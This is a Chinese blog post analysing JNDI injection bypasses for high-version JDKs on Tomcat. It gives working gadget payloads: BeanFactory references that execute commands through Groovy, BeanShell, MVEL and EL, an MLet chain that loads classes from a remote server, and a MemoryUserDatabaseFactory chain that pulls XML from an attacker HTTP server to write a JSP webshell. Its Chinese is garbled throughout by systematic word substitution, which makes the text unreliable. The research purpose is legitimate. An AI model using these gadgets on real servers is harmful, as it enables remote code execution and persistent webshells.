Tomcat下JNDI高版本绕过浅析

藏青@雁行平安团队

最近Log4j的破绽惹起了很多师傅对JNDI注入破绽应用的研讨,浅蓝师傅的文章探究高版本 JDK 下 JNDI破绽的应用办法提出了很多关于绕过JNDI高版本限制的办法,本文主要是对文章中的局部办法停止剖析并加上一些我个人的考虑。

前言

在剖析这些详细的办法前,我们先对绕过的整体思绪做一个论述。目前高版本JDK的防护方式主要是针对加载远程的ObjectFactory的加载做限制,只要开启了某些属性后才会经过指定的远程地址获取ObjectFactory的Class并实例化,进而经过ObjectFactory#getObjectInstance来获取返回的真实对象。但是在加载远程地址获取ObjectFactory前,首先在本地ClassPath下加载指定的ObjectFactory,本地加载ObjectFactory失败后才会加载远程地址的ObjectFactory,所以一个主要的绕过思绪就是加载本地ClassPath下的ObjectFactory

static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
        Class<?> clas = null;
        // 首先加载当前环境下ClassPath下的ObjectFactory
        try {
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.
        // 当前ClassPath加载失败才会加载classFactoryLocation中指定地址的ObjectFactory
        String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }
        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

所以我们需求找到一个javax.naming.spi.ObjectFactory接口的完成类,在这个完成类的getObjectInstance能够完成一些歹意操作。但是在JDK提供的原生完成类里其实并没有操作空间。所以下面我们主要的思绪就是在一些常用的框架或者组件中寻觅可应用的ObjectFactory完成类。

常规绕过方式总结

Tomcat下的绕过比拟精彩的并不是EL表达式应用,而是经过BeanFactory#getObjectInstance将这个破绽的应用面从仅仅只能从ObjectFactory完成类的getObjectInstance办法应用扩展为一次能够调用”恣意”类的”恣意”办法的时机,但是对调用的类和办法以及参数有些限制。

  • 该类必需包含public无参结构办法
  • 调用的办法必需是public办法
  • 调用的办法只要一个参数并且参数类型为String类型

所以下面我们只需找到某个类的某个办法既满足了上面的条件又完成我们想要的功用。

  • javax.el.ELProcessor#eval执行命令,但是ELProcessor是在Tomcat8才引入的。
  • groovy.lang.GroovyShell#evaluate(java.lang.String)经过Groovy执行命令。

  • com.thoughtworks.xstream.XStream().fromXML(String)经过调用XStream转换XML时的反序列化破绽招致的RCE,这里之所以选择XStream是由于Xstream的反序列化破绽和影响版本比拟多。JSON的转换的破绽相对来说通用性不高。

  • org.yaml.snakeyaml.Yaml#load(java.lang.String)加载Yaml时的反序列化破绽,在SpringBoot中经常会运用snakeyaml来停止yml配置文件的解析。

  • org.mvel2.MVEL#eval(String)执行命令,这里浅蓝师傅文章中提到的是MVEL类是private所以要找上层调用,我在2.0.17中测试Mvel是存在public无参结构办法的,高版本的确换成了private结构办法。所以只能找那里调用了Mvel#eval办法,而org.mvel2.sh.ShellSession#exec调用了Mvel#eval,因而能够经过ShellSession#exec来间接完成调用。

  • com.sun.glass.utils.NativeLibLoader#loadLibrary(String)加载DLL,前提是我们曾经将结构好的DLL上传至目的上,所以局限性比拟大。

CodeQL剖析MVEL调用链发掘过程

上面这些应用办法原理了解都比拟简单,但是作者怎样找到org.mvel2.sh.ShellSession#exec的过程我比拟猎奇,扫除他已知这个办法能够调用外,我们能够考虑一下作者如何找到这个办法的。要找到这个办法的思绪其实比拟简单,能够依照下面的思绪。

  • 除了org.mvel2.MVEL#eval(String)能够执行命令其他重载的eval办法也能够执行命令
  • 查找调用这些eval办法的调用,直到找到一个调用类存在public结构办法且间接调用eval的办法也是public类型并且参数为string类型

但是假如手动找的话其实比拟费事,由于调用eval办法的函数其实比拟多,如下图所示。

所以我想用CodeQL来帮我们做这件事情,由于MVEL是github上的开源项目,所以能够直接在这里下载到数据库。由于eval办法的第一个参数是要执行的表达式,所以我们将这个参数作为sink,source的称号我们不做限制,但是要限制办法的参数为string且只要一个参数,代码如下:

/**
 *@name Tainttrack Context lookup
 *@kind path-problem
 */
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class MVEL extends  RefType{
    MVEL(){
        this.hasQualifiedName("org.mvel2", "MVEL")

    }
}
//限制参数的类型和数量
class CallEval extends  Method {
    CallEval(){
        this.getNumberOfParameters() = 1 and this.getParameter(0).getType() instanceof TypeString
    }
    Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}
//限制办法的称号和类型
predicate isEval(Expr arg) {
    exists(MethodAccess ma |
        ma.getMethod().getName()="eval"
        and
        ma.getMethod().getDeclaringType() instanceof MVEL
        and
        arg = ma.getArgument(0)
    )
}
class TainttrackLookup  extends TaintTracking::Configuration {
    TainttrackLookup() { 
        this = "TainttrackLookup" 
    }

    override predicate isSource(DataFlow::Node source) {
        exists(CallEval evalMethod |
            source.asParameter() = evalMethod.getAnUntrustedParameter())
    }
    override predicate isSink(DataFlow::Node sink) {
        exists(Expr arg |
            isEval(arg)
            and
            sink.asExpr() = arg
        )
    }
} 
from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
    config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"

但是跑完以后去掉一些看上去有问题的链后并没有找到浅蓝师傅发现的那个调用链,只找到了下面的调用链,但是也是在MVEL类中的,所以也不能应用。

下面剖析下为什么没跑出来,首先看下我们设置的sink能否有问题,sink的确能够找到PushContext#execute办法,所以sink这里没有问题。

再经过下面的代码检测source能否设置正确,也没有问题,所以阐明在污点传播的过程中被打断了。

经过火析,猜想可能打断污点传播的点有两处。

  • exec办法直接将参数添加到inBuffer中并调用了无参结构办法,假如剖析中以为调用无参结构办法就以为污点会被打断那么这里就会招致污点传播被打断

  • _exec中经过arraycopy完成了passParameters的赋值操作,假如CodeQL这里没剖析好也会招致污点传播被打断。

首先剖析第一种状况,在_exec中将inBuffer的值封装为inTokens后调用了containsKey办法,所以我们在不更改source的状况下将sink更改为对containsKey的调用。

predicate isEval(Expr arg) {
    exists(MethodAccess ma |
        ma.getMethod().getName()="containsKey"
        and
        arg = ma.getArgument(0)
    )
}

能够看到的确是能够从ShellSession#exec追踪到commands.containsKey中的,所以第一种假定就被推翻了。

再来看第二种猜想,只需我们编写一个isAdditionalTaintStep将arraycopy的第1个参数和execute的第2个参数接起来即可。

override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
        exists(MethodAccess ma,MethodAccess ma2 |
            ma.getMethod().getDeclaringType().hasQualifiedName("java.lang", "System") 
            and ma.getMethod().hasName("arraycopy") and fromNode.asExpr()=ma.getArgument(0) 
            and ma2.getMethod().getDeclaringType().hasQualifiedName("org.mvel2.sh", "Command")  
            and ma2.getMethod().hasName("execute") and toNode.asExpr()=ma2.getArgument(1)
         )
      }

最终就能够拿到浅蓝师傅发现的调用链。

MLet应用方式剖析

MLet是UrlClassLoader的子类,因而理论上能够经过loadClass加载远程地址的类停止应用,代码如下:

MLet mLet = new MLet();
mLet.addURL("http://127.0.0.1:2333/");
mLet.loadClass("Exploit");

失败的应用剖析

固然说loadClass在加载以后没有newInstance不能触发类的初始化操作,但是在BeanFactory中自身就会依据我们传入的称号来实例化对象,假如我们发送两次恳求,第一次经过UrlClassLoader加载到内存,由于在loadClass加载的过程中有个缓存机制,假如曾经加载过的类会直接返回,我们在第二次恳求中直接让实例化这个类不就能够了。

protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();

但实践是不行的,由于BeanFactory中获取到类名后是经过Thread.currentThread().getContextClassLoader()这个加载器来加载类的,而这个类加载器肯定不是Mlet那个加载器,所以它没有加载过我们创立的歹意类,自然也获取不到了。

if (obj instanceof ResourceRef) {
            try {
                //从援用对象中获取类名
                Reference ref = (Reference)obj;
                String beanClassName = ref.getClassName();
                Class<?> beanClass = null;
                //获取加载器加载类
                ClassLoader tcl = Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch (ClassNotFoundException var26) {
                    }
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);
                    } catch (ClassNotFoundException var25) {
                        var25.printStackTrace();
                    }
                }

办法屡次调用剖析

那么Mlet为什么能够调用多个办法,由于依照我们前面的剖析,只会调用一个办法。下面我们扼要剖析下org.apache.naming.factory.BeanFactory#getObjectInstance

  • 从援用对象中获取类名并实例化,这里需求留意的是 这个类只实例化了一次 。再从forceString属性中获取内容并经过,分割转换为数组,遍历数组中的内容并依据=分割获取要调用的办法名获取method对象并保管到Map中。
if (obj instanceof ResourceRef) {
            try {
                //从援用对象中获取类名
                Reference ref = (Reference)obj;
                String beanClassName = ref.getClassName();
                Class<?> beanClass = null;
                //获取加载器加载类
                ClassLoader tcl = Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch (ClassNotFoundException var26) {
                    }
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);
                    } catch (ClassNotFoundException var25) {
                        var25.printStackTrace();
                    }
                }
            //加载失败抛出异常
                if (beanClass == null) {
                    throw new NamingException("Class not found: " + beanClassName);
                } else {
                    BeanInfo bi = Introspector.getBeanInfo(beanClass);
                    PropertyDescriptor[] pda = bi.getPropertyDescriptors();
                    //获取class的对应的对象,只实例化了一次
                    Object bean = beanClass.getConstructor().newInstance();
                    //从forceString中获取援用属性
                    RefAddr ra = ref.get("forceString");
                    Map<String, Method> forced = new HashMap();
                    String value;
                    String propName;
                    int i;
                    if (ra != null) {
                        //获取forceString的内容并经过`,`分割
                        value = (String)ra.getContent();
                        //paramTypes为String类型
                        Class<?>[] paramTypes = new Class[]{String.class};
                        String[] var18 = value.split(",");
                        i = var18.length;
                        for(int var20 = 0; var20 < i; ++var20) {
                            String param = var18[var20];
                            param = param.trim();
                            //依据等号分割获取propName和param,假如没有等号则转成setter办法
                            int index = param.indexOf(61);
                            if (index >= 0) {
                                propName = param.substring(index + 1).trim();
                                param = param.substring(0, index).trim();
                            } else {
                                propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
                            }
                        //经过propName和paramTypes获取Method并放到param中
                            try {
                                forced.put( , beanClass.getMethod(propName, paramTypes));
                            } catch (SecurityException | NoSuchMethodException var24) {
                                throw new NamingException("Forced String setter " + propName + " not found for property " + param);
                            }
                        }
                    }
  • 下面获取援用对象中保管的一切属性,经过while循环遍历属性内容并赋值给valueArray作为参数最终经过invoke完成反射调用。这里需求留意的是 反射调用是在while循环中的,所以能够调用多个办法
//从援用对象中获取一切的属性
              Enumeration e = ref.getAll();
        //遍历属性
while(true) {
                        while(true) {
                            do {
                                do {
                                    do {
                                        do {
                                            do {
                                                if (!e.hasMoreElements()) {
                                                    return bean;
                                                }
    ·                                           //获取属性
                                                ra = (RefAddr)e.nextElement();
                                                //获取propName
                                                propName = ra.getType();
                       //假如propName是下面的值则跳过
                                            } while(propName.equals("factory"));
                                        } while(propName.equals("scope"));
                                    } while(propName.equals("auth"));
                                } while(propName.equals("forceString"));
                            } while(propName.equals("singleton"));
                        //获取属性中的内容
                            value = (String)ra.getContent();
                            Object[] valueArray = new Object[1];
                            //依据propName从map中获取method
                            Method method = (Method)forced.get(propName);
                            if (method != null) {
                                //将属性中的内容赋给valueArray
                                valueArray[0] = value;
                                try {
                                //反射调用办法
                                    method.invoke(bean, valueArray);
                                } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
                                    throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
                                }
                            }

所以经过上面的剖析发现其真实BeanFactory中其实能够调用多个办法,但是这些办法必需都在同一个Class中。并且
由于在这个过程中Class只被实例化了一次,因而能够经过调用不同的办法为Class的属性赋值

下来再看这个poc就能够了解为什么能够这么结构了。

ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
            //指定要调用的办法名
            ref.add(new StringRefAddr("forceString", "b=addURL,c=loadClass"));
            //为不同的办法的参数赋值
            ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
            ref.add(new StringRefAddr("c", "Blue"));
            return ref;

失败的UrlClassLoader调用链发掘尝试

经过Mlet的加载固然不能应用,但是我们也能够学习到浅蓝师傅发掘调用链的思绪,即经过UrlClassLoader的完成类寻觅能够加载远程类的代码。

我们也能够尝试去发掘对UrlClassLoader的调用,相关的调用需求满足以下条件:

  • 存在public结构办法
  • 继承UrlClassLoader并调用了loadClass办法

WebappClassLoaderBase似乎满足条件,固然这个类自身没有public结构办法,但是其子类WebappClassLoader是有无参结构办法的。但是由于WebappClassLoaderBaseaddURL办法不是public类型的,所以无法应用。

org.codehaus.plexus.compiler.javac.IsolatedClassLoader满足上面的条件,但是addURL办法的参数不是String类型,所以也无法应用。

public class IsolatedClassLoader extends URLClassLoader {
    private ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();
    public IsolatedClassLoader() {
        super(new URL[0], (ClassLoader)null);
    }
    public void addURL(URL url) {
        super.addURL(url);
    }
    public synchronized Class<?> loadClass(String className) throws ClassNotFoundException {
        Class<?> c = this.findLoadedClass(className);
        ClassNotFoundException ex = null;
        if (c == null) {
            try {
                c = this.findClass(className);
            } catch (ClassNotFoundException var5) {
                ex = var5;
                if (this.parentClassLoader != null) {
                    c = this.parentClassLoader.loadClass(className);
                }
            }
        }
        if (c == null) {
            throw ex;
        } else {
            return c;
        }
    }
}

所以似乎没有其他能够直接应用的ClassLoader了。

GroovyClassLoader执行命令剖析

那么为什么GroovyClassLoader能够加载远程的class并执行里面的内容呢?

首先在addClasspath中会将我们传入的path转换为URI并添加到当前的GroovyClassLoader对象中。

public void addClasspath(final String path) {
        AccessController.doPrivileged(new PrivilegedAction<Void>() {
            public Void run() {
                try {
                    URI newURI;
                   //正则匹配\p{Alpha}[-+.\p{Alnum}]*:[^\\]*,假如我们传入的是http的url是不会被匹配到的
                    if (!GroovyClassLoader.URI_PATTERN.matcher(path).matches()) {
                        newURI = (new File(path)).toURI();
                    } else {
                     //依据传入的path构建url对象
                        newURI = new URI(path);
                    }
                    //获取GroovyClassLoader中保管的url
                    URL[] urls = GroovyClassLoader.this.getURLs();
                    URL[] arr$ = urls;
                    int len$ = urls.length;
                    //判别newURI能否在url列表中
                    for(int i$ = 0; i$ < len$; ++i$) {
                        URL url = arr$[i$];
                        if (newURI.equals(url.toURI())) {
                            return null;
                        }
                    }
                //将url添加到GroovyClassLoader对象中
                    GroovyClassLoader.this.addURL(newURI.toURL());
                } catch (MalformedURLException var7) {
                } catch (URISyntaxException var8) {
                }
                return null;
            }
        });
    }

GroovyClassLoader#loadClass首先经过UrlClassLoader依据我们传入的称号加载远程的Class,加载失败后则依据称号加载groovy,加载胜利后会对远程加载的groovy代码编译。

public Class loadClass(String name, boolean lookupScriptFiles, boolean preferClassOverScript, boolean resolve) throws ClassNotFoundException, CompilationFailedException {
        Class cls = this.getClassCacheEntry(name);
        boolean recompile = this.isRecompilable(cls);
        if (!recompile) {
            return cls;
        } else {
            ClassNotFoundException last = null;
            try {
                //首先经过UrlClassLoader加载类加载胜利则返回,失败则继续执行
                Class parentClassLoaderClass = super.loadClass(name, resolve);
                if (cls != parentClassLoaderClass) {
                    return parentClassLoaderClass;
                }
            } catch (ClassNotFoundException var19) {
                last = var19;
            } catch (NoClassDefFoundError var20) {
                if (var20.getMessage().indexOf("wrong name") <= 0) {
                    throw var20;
                }
                last = new ClassNotFoundException(name);
            }
            SecurityManager sm = System.getSecurityManager();
            if (sm != null) {
                String className = name.replace('/', '.');
                int i = className.lastIndexOf(46);
                if (i != -1 && !className.startsWith("sun.reflect.")) {
                    sm.checkPackageAccess(className.substring(0, i));
                }
            }
            if (cls != null && preferClassOverScript) {
                return cls;
            } else {
                if (lookupScriptFiles) {
                    try {
                        //从缓存中先获取Class
                        Class classCacheEntry = this.getClassCacheEntry(name);
                        if (classCacheEntry != cls) {
                            Class var24 = classCacheEntry;
                            return var24;
                        }
                //依据称号获取远程groovy的url
                        URL source = this.resourceLoader.loadGroovySource(name);
                        Class oldClass = cls;
                        cls = null;
                  //编译groovy代码
                        cls = this.recompile(source, name, oldClass);
                    } catch (IOException var17) {
....
        }
    }

recompile中判别URL能否是文件类型,假如不是则加载远程url中指定的groovy并停止parse。

protected Class recompile(URL source, String className, Class oldClass) throws CompilationFailedException, IOException {
        if (source == null || (oldClass == null || !this.isSourceNewer(source, oldClass)) && oldClass != null) {
            return oldClass;
        } else {
            synchronized(this.sourceCache) {
                String name = source.toExternalForm();
                this.sourceCache.remove(name);
                //判别能否为本地file
                if (this.isFile(source)) {
                    Class var10000;
                    try {
                        var10000 = this.parseClass(new GroovyCodeSource(new File(source.toURI()), this.config.getSourceEncoding()));
                    } catch (URISyntaxException var8) {
                        return this.parseClass(source.openStream(), name);
                    }
                    return var10000;
                } else {
                    //加载url中指定的groovy
                    return this.parseClass(source.openStream(), name);
                }
            }
        }
    }

而在parseClass的过程中会执行@ASTTest中的代码,因而能够命令执行。

@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")})
class Person{}

在查找材料的过程中,发现浅析JNDI注入Bypass中也提到了Groovy的绕过应用,能够看到这里其实能够直接调用GroovyClassLoader#parseClass并传入我们结构好的内容执行命令。

ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    ref.add(new StringRefAddr("forceString", "x=parseClass"));
    String script = "@groovy.transform.ASTTest(value={\n" +
        "    assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
        "})\n" +
        "def x\n";
    ref.add(new StringRefAddr("x",script));

命令执行应用链发掘

除了寻觅UrlClassLoader加载远程类外,还有一个思绪是寻觅能够执行命令的点,那么为什么ScriptEngine作为JDK自带的能够执行命令的方式不行呢?

由于经过ScriptEngine来执行命令,都需求两个参数,所以不能经过ScriptEngine调用执行命令。

public Object eval(String script, Bindings bindings) throws ScriptException {
        ScriptContext ctxt = getScriptContext(bindings);
        return eval(script , ctxt);
    }
    public Object eval(Reader reader, ScriptContext ctxt) throws ScriptException {
        return this.evalImpl(makeSource(reader, ctxt), ctxt);
    }

尝试经过CodeQL找下NashornScriptEngine#eval的调用,的确也没有参数为string类型的调用,所以从原生的JDK中应该是找不到命令执行的点了。

除了上面列出的执行命令的方式外,beanshell也能够执行命令,并且满足我们的条件,因而也能够运用beanshell的应用方式。

ResourceRef ref = new ResourceRef("bsh.Interpreter", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "a=eval"));
            ref.add(new StringRefAddr("a", "exec(\"cmd.exe /c calc.exe\")"));
            return ref;

MemoryUserDatabaseFactory应用链

上面的剖析都是树立在Tomcat下的BeanFactory的应用下的,我们也能够寻觅其他完成了ObjectFactory的类应用,浅蓝师傅找到的MemoryUserDatabaseFactory应用过程比拟精彩,这里着重剖析一下。

XXE

MemoryUserDatabaseFactory#getObjectInstance首先创立一个MemoryUserDatabase对象,首先看下tomcat对这个对象的解释,和tomcat的用户有关,tomcat会将这个对象中的内容存储到xml中。

UserDatabase的详细完成,它将一切已定义的用户、组和角色加载到内存中的数据构造中,并运用指定的XML文件停止耐久存储。

创立MemoryUserDatabase后会从我们传入的援用对象中获取pathnamedatabasereadonly并设置到新建的MemoryUserDatabase对象中。

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        if (obj != null && obj instanceof Reference) {
            Reference ref = (Reference)obj;
            //判别class能否是org.apache.catalina.UserDatabase
            if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) {
                return null;
            } else {
                MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
                RefAddr ra = null;
                //从援用对象中获取pathname属性
                ra = ref.get("pathname");
                if (ra != null) {
                    //给database设置属性
                    database.setPathname(ra.getContent().toString());
                }
        //从援用对象中获取readonly属性
                ra = ref.get("readonly");
                if (ra != null) {
                    database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
                }
        //从援用对象中获取watchSource属性
                ra = ref.get("watchSource");
                if (ra != null) {
                    database.setWatchSource(Boolean.parseBoolean(ra.getContent().toString()));
                }
            //调用open
                database.open();
                //只要readonly属性为false才会进入save办法,readonly属性能够经过援用中获取
                if (!database.getReadonly()) {
                    //调用save
                    database.save();
                }
                return database;
            }
        } else {
            return null;
        }
    }

open办法会去加载远程的xml文件并停止解析。

public void open() throws Exception {
        this.writeLock.lock();
        try {
            this.users.clear();
            this.groups.clear();
            this.roles.clear();
            //从之前保管的属性中获取pathName
            String pathName = this.getPathname();
            //创立URI对象
            URI uri = ConfigFileLoader.getURI(pathName);
            URLConnection uConn = null;
            try {
                //恳求url并获取内容
                URL url = uri.toURL();
                uConn = url.openConnection();
                InputStream is = uConn.getInputStream();
                this.lastModified = uConn.getLastModified();
                Digester digester = new Digester();
                try {
                    digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
                } catch (Exception var28) {
                    log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), var28);
                }
                digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
                digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
                digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
                //解析恳求后的内容
                digester.parse(is);
            } catch (IOException var29) {
                log.error(sm.getString("memoryUserDatabase.fileNotFound", new Object[]{pathName}));
            } catch (Exception var30) {
                this.users.clear();
                this.groups.clear();
                this.roles.clear();
                throw var30;
            } finally {
                if (uConn != null) {
                    try {
                        uConn.getInputStream().close();
                    } catch (IOException var27) {
                        log.warn(sm.getString("memoryUserDatabase.fileClose", new Object[]{this.pathname}), var27);
                    }
                }
            }
        } finally {
            this.writeLock.unlock();
        }
    }

而在parse的过程中会对获取到的xml解析,因而存在xxe破绽。

public Object parse(InputStream input) throws IOException, SAXException {
        this.configure();
        InputSource is = new InputSource(input);
        this.getXMLReader().parse(is);
        return this.root;
    }

RCE

前面也说过MemoryUserDatabase存储了Tomcat的用户信息并且会存储到xml,那么我们也晓得tomcat中的用户信息是在tomcat-
users.xml
中的,所以能否我们直接在xml中构建一个我们已知账号密码的xml,让其加载。

在open办法加载远程xml并解析后,假如readonly属性我们设置为false会进入save办法保管xml。

save办法首先判别isWriteable能否为true,否则直接返回

public void save() throws Exception {
        if (this.getReadonly()) {
            log.error(sm.getString("memoryUserDatabase.readOnly"));
            //判别isWriteable能否为true,否则直接返回
        } else if (!this.isWriteable()) {
            log.warn(sm.getString("memoryUserDatabase.notPersistable"));
        } else {
            File fileNew = new File(this.pathnameNew);
            if (!fileNew.isAbsolute()) {
                fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
            }

isWriteable中会将catalina.basepathname拼接并判别其目录能否存在假如不存在则返回false。能够看到我们的url地址被处置为\http:\127.0.0.1\tomcat-
user.xml
这种方式,所以我们能够经过[http://127.0.0.1/../../tomcat-
user.xml](http://127.0.0.1/../../tomcat-user.xml)
来绕过,也不会影响xml的加载。

后面就是执行xml文件写入的功用,能够看到执行完后用户的配置文件曾经写入到目的目录下,由于真正的配置是在conf目录下的,所以url中还要加个conf目录。

但是这种绕过方式和Tomcat的版本有关,在Tomcat8的open办法中是经过ConfigFileLoader.getURI(pathName);来获取xml的是能够加载远程XML的。

在Tomcat7版本中open办法中是经过ConfigFileLoader.getInputStream(pathName);获取的。

图片[1]-Tomcat下JNDI高版本绕过浅析-孤勇者社区
getInputStream中首先经过file协议加载加载失败才会经过URL记载,所以在Tomcat7中不能经过这种方式直接RCE应用。

写文件应用(订正)

在tomcat7的ConfigFileLoader#getInputStream中,只要当文件曾经存在时才会经过FileInputStream加载,假如我们传入的文件不存在,还是会去远程加载文件。因而能够让目的加载我们写好的shell到web目录中。首先开启http效劳,并创立webapps/ROOT/test.jsp文件,内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="<%Runtime.getRuntime().exec("calc.exe"); %>"/>
</tomcat-users>

这里还要写成XML的方式否则XML解析过程中会失败。开启RMI效劳,代码如下:

ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
          true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
  ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
  ref.add(new StringRefAddr("readonly", "false"));
  ReferenceWrapper war=new ReferenceWrapper(ref);
  Registry registry = LocateRegistry.createRegistry(1099);
  registry.bind("xxx",war);

由于我们传入的文件名不存在,因而还是会加载远程文件。
图片[2]-Tomcat下JNDI高版本绕过浅析-孤勇者社区
最后胜利在ROOT目录下写入jsp文件。
图片[3]-Tomcat下JNDI高版本绕过浅析-孤勇者社区
图片[4]-Tomcat下JNDI高版本绕过浅析-孤勇者社区
rolename中的内容也能够交换冰蝎马,只需HTML编码后即可。

总结

本文讨论的绕过主要是针对Tomcat下的应用,大多数的应用方式树立在tomcat的BeanFactory应用之上,经过上面的剖析,我们对这些应用链的发现思绪做一个总结。

  • 寻觅能够执行命令的函数,能够直接传入一个string参数执行命令(EL、MVEL、Groovy、Beanshell)
  • 寻觅UrlClassLoader,但是这种除了GroovyClassLoader比拟特殊会在加载的过程中执行命令,其他完成UrlClassLoader的类加载后并不会实例化

  • 已知存在破绽的组件,能够直接传入String参数应用后间接执行命令(Xstrem、snakeyaml)

我们从应用的角度再考虑一下,目前发掘这么多应用链的方式其实主要是想处理tomcat低版本下的绕过,Tomcat原生的MemoryUserDatabaseFactory应用链十分精彩,能够经过写文件的方式应用,但是无法直接RCE,但是写文件的方式需求能够访问到ROOT目录或者晓得web的目录,并不能百分百应用胜利。也能够依赖一些命令执行或者存在破绽的组件来应用,并不具备通用性。最后感激浅蓝师傅的分享。

参考

探究高版本 JDK 下 JNDI 破绽的应用办法

浅析JNDI注入Bypass

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞9赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像果虚0